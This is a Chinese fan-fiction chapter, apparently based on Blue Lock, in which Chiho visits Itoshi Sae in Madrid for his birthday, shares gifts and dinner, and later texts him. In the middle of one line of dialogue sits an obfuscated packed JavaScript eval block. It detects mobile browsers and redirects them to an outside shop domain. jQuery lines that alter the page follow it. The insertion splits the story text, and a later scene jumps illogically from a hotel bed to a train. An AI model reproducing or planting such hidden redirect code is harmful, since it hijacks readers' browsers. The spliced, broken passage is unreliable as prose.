“——生日快乐。”
洁千穗站在RE·AL最有名的青训基地门口，夕阳把她的影子拉得很长。
糸师冴低头看着被塞进怀里的袋子，沉默了两秒，接过。
“……哦。”
千穗等着。
以她对这人的了解，“哦”完之后应该就没了——最多加一句“谢谢”，然后话题终结。
但这次不一样。
糸师冴抬起头，看着她。
夕阳从他身后照过来，把他的轮廓勾成一道浅金色的边。脸上的表情和平时没什么两样，但那双眼睛——千穗忽然注意到，那双绿色的眼睛里有一点她常见、但极少在他这看到的东西。
很淡。
淡到几乎看不出来。
但确确实实存在。
然后他的嘴角动了动。
幅度很小。
小到如果不是她正盯着他看，根本不会发现。
但千穗看见了。
她看见了。
那是——
笑？
糸师冴在笑？
千穗愣住了。
他们认识这么多年，从神奈川的邻居到现在各自在不同的国度，她见过他日常面无表情的样子，见过他“还行”的时候嘴角微微上扬的弧度，见过他比赛赢了之后依旧淡漠的眼神。
但她从没见过他这样笑。
这样一种——
她不知道该怎么形容。
就是……笑。
很浅，很柔和。
千穗盯着他看了两秒，然后脑子里冒出一个念头：
原来这人也能露出这种笑啊，凛说他哥温柔好像也没错。
再然后，另一个念头冒出来：
他居然是对我笑的？
再再然后——
不对，好像也挺理所当然的。
毕竟认识七年了。
毕竟她专门从克罗地亚飞过来给他过生日。
毕竟……
打住，先顾眼前吧。
千穗把那些乱七八糟的念头按下去，若无其事地移开视线，假装自己什么都没发现。
“咳咳。”她清了清嗓子，从口袋里掏出手机，“那个，给你看点东西。”
糸师冴的表情已经恢复了平时的样子，仿佛刚才那一瞬间的柔和从未存在过。
“……什么？”
千穗打开相册，递给他。
“当初去看凛的照片。他说可以给你看。”
屏幕上是凛站在拉面馆门口的照片，怀里抱着那只墨绿色的小猫玩偶，表情别扭但显然很高兴。
糸师冴盯着那张照片看了两秒。
嘴角又动了动。
这次千穗注意到了，但她假装没看见。
“他还挺喜欢那个小猫的。”她说，“虽然嘴上没说。”
糸师冴没说话，把手机还给她。
“还有这个。”千穗又翻了翻相册，“世一让我转交的。他画了一晚上，废了好几张纸。”
是一张画的照片。
洁世一画的——简笔素描画风，但意外地挺像。画上是糸师冴在场上踢球的样子，抬脚射门的瞬间，背景是模糊的观众席和灯光。
画的下方用加粗笔写了一行字：
【冴哥生日快乐！早日成为世界第一！from 世一】
糸师冴盯着那张画的照片看了一会儿。
“……他还会画这个？”
“嗯，最近画技大有进步。”千穗欣慰地点头，“本来想给你寄信的，但听说我要来，就改画了。画了一晚上，废了好几张纸。”
糸师冴又看了几眼，然后把手机还给她。
“走吧。”
“……去哪？”
“吃饭。”
千穗眨眨眼，然后笑起来。
“好。”
两人并肩走在马德里的街道上。
夕阳把城市的建筑染成暖橙色，街边有咖啡馆飘出香气，偶尔有踢球的少年从身边跑过。
千穗走了一会儿，忽然想起什么。
“对了，你还没说谢谢。”
糸师冴侧头看她。
“什么？”
“生日快乐啊。”千穗指了指他怀里的袋子，“我说了生日快乐，你还没说谢谢。”
糸师冴沉默了两秒。
然后——
“谢谢。”
千穗弯起眼睛。
“不客气。”
.
他们在一家看起来不大的餐厅门口停下。
糸师冴推门进去，千穗跟在后面。
店里人不多，灯光暖黄，墙上挂着足球俱乐部的队旗和签名照片。老板是个看起来五十多岁的西班牙男人，看见糸师冴进来，笑容开朗。
“Sae！今天怎么这么早？”
糸师冴点点头，用西班牙语说了句什么。千穗听不懂，但大概是在介绍她。
老板看向她，热情地打了个招呼。
千穗用英语回了句“你好”，然后被糸师冴带到靠窗的位置坐下。
“你常来？”她问。
“嗯。”
“老板认识你？”
“嗯。”
千穗点点头，没再问。
菜单是西班牙语的，她看不懂。糸师冴接过去，帮她翻译并把菜点了。
等菜的间隙，千穗托着下巴看他。
“要不先看看礼物？”
“嗯。”糸师冴于是低头打开那个袋子。
先拿出来的是一个小盒子，打开——一只毛茸茸的粉色猫咪玩偶，和凛那只墨绿色的是同款，只是颜色不同。
糸师冴盯着那只粉色猫看了两秒。
“……为什么是粉色？”
“因为我觉得适合你。”千穗理直气壮。
糸师冴没说话，把小猫放到一边，继续翻。
两条围巾，深灰色和藏青色，俄罗斯特产，羊毛的，摸起来很软。
“俄罗斯常年低温，围巾比较有名，买来送给你，可以冬天训练完披着，别感冒。”千穗在旁边解说。
糸师冴点点头，把围巾放到一边。
然后是几包昆布茶——日本的那种，用开水冲开就能喝。
“你妈托我带的，说你在国外肯定喝不到家里的味道。”不过本来是想12月份去西班牙再给他。
糸师冴拿着那几包茶，顿了一下。
“……哦。”
接着是洁世一的画，射门瞬间。
“呶，我弟弟的大作，也是给你的生日礼物。”千穗凑过来点了点右下角加粗笔写的生日祝福。
糸师冴点点头，把画重新卷起来，也放到一边。
最后是一个小盒子，打开——
是一个钥匙扣。
克里姆林宫造型的纪念品，金属的，做工还挺精致。
千穗指了指底座：“你看背面。”
糸师冴翻过来。
底座上刻着一行小字：
【Sae】
糸师冴注视着这三个简单的英文字母，声音轻轻道：
“……特意刻的？”
“嗯。”千穗点头，“克里姆林宫门口有家店可以现场刻字，我就刻了你名字。”
糸师冴没说话。
但千穗注意到他嘴角又动了动。
这人今天怎么老是想笑？
“不喜欢？”她故意问。
“……没有。”
糸师冴把钥匙扣攥在手心里，然后连同其他礼物一起收进袋子里。
“谢谢。”
“不客气。”
.
菜上来了。
海鲜饭、火腿、炸鱿鱼圈，还有一些千穗叫不出名字的Tapas。
她尝了一口海鲜饭，眼睛亮了。
“好吃！”
糸师冴看着她，没说话。
但千穗总觉得他在看。
“你怎么不吃？”
“吃。”
他拿起叉子，开始吃。
千穗一边吃一边看窗外。
马德里的夜晚来得比日本晚，这个点天还没完全黑，街上的人渐渐多起来。有情侣手牵手走过，有老人牵着狗散步，有小孩抱着足球跑过。
她忽然想起什么。
“你平时训练完都干什么？”
“回宿舍，复盘。”
“不出去逛逛？”
“没兴趣。”
“不和队友一起？”
“不。”
千穗看着他，忽然有点难过。
一个人在国外，语言不通，文化不同，训练强度大，没人陪……甚至比她还惨，至少她遇见的尤里他们都是难得的好人，但是足球运动员是什么样的、了解过的人都知道。
“那你生日怎么过的？”
“……今天训练。”
“然后呢？”
“然后你来了。”
千穗愣了一下。
然后她笑了。
“那我来的还挺及时的。”
糸师冴没说话，但千穗看见他的耳朵好像有点红。
大概是夕阳照的吧。
.
吃完饭，天色已经完全暗下来了。
糸师冴送千穗回旅馆。
两人走在夜晚的马德里街头，路灯把影子拉得很长。
到旅馆门口，千穗停下脚步。
“就送到这儿吧。”
糸师冴也停下来。
他看着她，沉默了两秒。
然后——
“明天还要去看比赛？”
“嗯，克罗地亚那边有尤里的比赛。”
“你说的那个与你一起拿冠军的？”
“嗯。”
糸师冴沉默了一下。
“他好像跟你关系不错。”
千穗眨眨眼，没反应过来他为什么突然提这个。
“还好吧，算朋友。”
“哦。”
“……怎么了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326689|199124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
“没什么。”
千穗看着他，总觉得哪里怪怪的。
但具体哪里怪，她又说不上来。
不过她一向不在这种事情上为难自己，想不明白就不想了。
“那我走了。”她挥挥手，“再说一遍，生日快乐——不管怎么样，作为同样在国外训练的人，我希望你至少在生日这一天能开开心心的。”
糸师冴垂眸注视着她，嘴唇动了动，似乎还想说什么。
千穗同他对视，安静等待他接下来的话。
但他最后什么都没说。
只是站在这儿，看着她。
……千穗忽然有点想笑。
她发现自己越来越能读懂这人了——比如现在，明明不想让她走，却偏要表现出一副“随便你”的样子。
“放心，”她说，“总决赛见。”
糸师冴还是看着她。
“嗯。”
“到时候给我加油。”
“……知道了。”
“多喊几声。”
“……你话真多。”
千穗笑起来。
“行行行，我话多。那我走了～”
她转身往旅馆里走。
走出去两步，又回头。
糸师冴还站在原地，望向她。
她挥挥手。
“回去早点睡。”
糸师冴没说话，但微微点了点头。
千穗转身，走进旅馆。
.
回到房间，北野宁宁正坐在窗边看书，见她进来，抬起头。
“回来了？吃了吗？”
“吃了。”千穗把自己扔在床上，盯着天花板发呆。
北野宁宁看了她一眼，没多问，继续看书。
千穗一动不动地躺了一会儿，直到手机振动，她才掏出手机坐起身查看。
果然是冴的信息。
【Sae：明天到地方记得发消息】
【Chiho：好】
【Sae：路上小心】
【Sae：围巾会戴的】
千穗盯着那三条消息，愣了两秒。
然后笑了。
她把手机收进口袋，靠在座位上，看着窗外飞速后退的隧道壁。
窗外一片漆黑，但她的心情很好。
.
第2天中午，千穗抵达萨格勒布的酒店。
重新登记入住时，收到了洁世一发来的消息。
【小草：姐姐！见到冴哥了吗？】
【Chiho：见到了】
【小草：他怎么样？瘦了吗？累吗？有没有好好吃饭？
【小草：凛一直问我但我不知道——明明是他哥哥怎么不自己问？而且他不也有姐姐你的联系方式嘛？】
千穗看着那一连串问题，忍不住笑。
【Chiho：你知道的，凛比较害羞】
【Chiho：冴瘦了一点，但状态还行。生日那天我和他一起去他熟悉的一家店吃的，应该是有好好吃饭的】
【小草：那就好，我跟凛说一声】
过了会儿，聊天框又弹出一条消息：
【小草：凛说谢谢姐姐，冴哥跟他视频的时候心情看起来不错】
千穗愣了一下。
视频？
糸师冴跟凛视频了？
还心情不错？
【Chiho：……他居然和家里人视频了？】
【小草：对啊，姐姐你不也经常和我们视频吗？】
【小草：不过凛说冴哥一般只有在节假日才会视频】
千穗想想也对。
虽然根据她的观察，糸师家对孩子持放养态度，但一家人的关系还不算差（至少现在是这样的），视频通话挺正常的。
她就是被漫画里糸师夫妇几乎隐身给误导了。
手机又震了一下。
是他们刚在谈论的糸师冴。
【Sae：到了？】
【Chiho：到了】
【Sae：嗯】
然后没信息了。
千穗低头看着手机，由经纪人带着去客房。
她看了眼时间，还没到糸师冴午休结束。
于是她又发了条消息。
【Chiho：天气预报显示马德里降温了，你有戴围巾吗？】
对面直接发来一张照片。
是糸师冴的自拍——真的是自拍，虽然角度很直男，表情依旧面瘫，但脖子上确实围着条藏青色的围巾。
千穗盯着那张照片看了很久。
然后笑了。
【Chiho：挺好看的】
【Sae：……】
【Sae：挂了】
【Chiho：？你又没打电话】
对面没回复了。
千穗把手机收进口袋，抬起头，走到窗边，拉开窗帘。
阳光明媚。
——今天天气真好。
她想。